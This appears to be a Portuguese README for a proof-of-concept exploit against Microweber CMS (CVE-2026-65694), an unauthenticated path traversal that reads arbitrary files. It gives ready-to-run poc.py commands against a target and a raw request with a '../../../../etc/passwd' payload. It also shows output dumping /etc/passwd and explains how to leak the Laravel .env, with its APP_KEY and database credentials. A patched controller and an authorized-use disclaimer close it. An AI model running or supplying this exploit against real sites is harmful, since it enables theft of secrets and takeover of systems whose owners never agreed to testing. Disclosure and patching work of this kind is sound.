
PoC para CVE-2026-65694 — Microweber CMS (<=2.0.20) path traversal não autenticado → leitura arbitrária de arquivos (.env / segredos)
Prova de conceito para CVE-2026-65694, uma leitura arbitrária de arquivos por path-traversal não autenticado no Microweber CMS.
Um atacante não autenticado pode ler qualquer arquivo que o usuário do servidor web possa acessar — o .env do Laravel (APP_KEY, credenciais de banco de dados, segredos de e-mail/nuvem), /etc/passwd, logs, chaves, configurações que não sejam .php, etc. — por meio da rota pública GET /userfiles/{path}.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)master atual (linha vulnerável ainda presente)src/MicroweberPackages/App/Http/Controllers/ServeStaticFileContoller.php
public function serveFromUserfiles(Request $request)
{
$path = $request->path; // <-- property read, NOT $request->path()
$path = normalize_path(userfiles_path() . $path, false); // <-- normalize_path() does NOT strip ".."
return $this->sendResponse($path, $request);
}
A rota é registrada sem autenticação:
Route::any('/userfiles/{path}', ['uses' => '...ServeStaticFileContoller@serveFromUserfiles'])->where('path', '.*');
Dois problemas se combinam:
$request->path (acesso a propriedade, não o método $request->path()) é resolvido através de Request::__get do Laravel → Arr::get($this->all(), 'path', fn() => $this->route('path')). Portanto, um parâmetro de consulta ?path= sobrescreve o segmento da rota {path} — e os valores de consulta não estão sujeitos à normalização de .. no caminho da URL que um navegador/servidor aplica.normalize_path() apenas colapsa barras; nunca remove ou resolve .., e não há verificação de que o caminho resolvido permaneça dentro de userfiles_path(). A camada de arquivos do PHP então resolve as sequências .. no sistema de arquivos.O controlador bloqueia apenas as extensões .php, .phtml e .php7 (skip_ext), portanto o código-fonte PHP não é diretamente legível — mas todo o resto é (.env, /etc/passwd, logs, chaves, bancos SQLite, configurações JSON/YAML, …).
pip install -r requirements.txt
Explorável em qualquer implantação que use a raiz de documentos public/ recomendada (o public/.htaccess que acompanha o Microweber, ou um front controller nginx try_files $uri /index.php), onde userfiles/ fica fora da raiz web e /userfiles/* é despachado para o roteador do Laravel.
Três ações:
python3 poc.py -u http://TARGET --check # is the target vulnerable?
python3 poc.py -u http://TARGET -r /etc/passwd # read a file (print to stdout)
python3 poc.py -u http://TARGET -r .env # app-relative path also works
python3 poc.py -u http://TARGET -d /etc/passwd -o pw.txt # download a file to disk
A profundidade do traversal é detectada automaticamente (aumentando ../ até o arquivo ser servido); substitua com --depth N. Roteie pelo Burp com --proxy http://127.0.0.1:8080. Adicione -v para a requisição bruta.
$ python3 poc.py -u http://target:8080 --check
Microweber CMS - Unauthenticated Arbitrary File Read
CVE-2026-65694 ( GET /userfiles/ ?path= traversal )
by Bobur Abdugafforov
[*] Testing target...
[+] VULNERABLE - CVE-2026-65694 confirmed (arbitrary file read, traversal depth 4)
$ python3 poc.py -u http://target:8080 -r /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
$ python3 poc.py -u http://target:8080 -d /etc/passwd -o pw.txt
[+] Downloaded '/etc/passwd' -> pw.txt (839 bytes, traversal depth 4)
A requisição subjacente é simplesmente:
GET /userfiles/<random>?path=../../../../etc/passwd HTTP/1.1
Host: target
Leitura arbitrária de arquivos não autenticada. O vazamento do .env do Laravel revela a APP_KEY (falsificação de sessão/cookies), credenciais de banco de dados, senha de e-mail e chaves de nuvem — efetivamente um comprometimento total dos segredos da instância.
Leia o parâmetro de rota vinculado em vez da propriedade de entrada, canonicalize com realpath() e verifique se o caminho resolvido permanece dentro de userfiles_path():
public function serveFromUserfiles(Request $request)
{
$requested = (string) $request->route('path');
$base = realpath(userfiles_path());
$path = realpath(normalize_path($base . DIRECTORY_SEPARATOR . $requested, false));
abort_if($base === false || $path === false
|| strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0, 404);
return $this->sendResponse($path, $request);
}
Descoberto e reportado por Bobur Abdugafforov. CVE-2026-65694 atribuído via VulnCheck.
Apenas para testes de segurança autorizados e uso educacional. Não use contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.
| Flag | Ação |
|---|
--check | Informa se o alvo está vulnerável (sim/não), sem despejar dados |
-r, --read FILE | Lê um arquivo e o imprime no stdout |
-d, --download FILE | Lê um arquivo e o salva localmente (-o/--output define o nome) |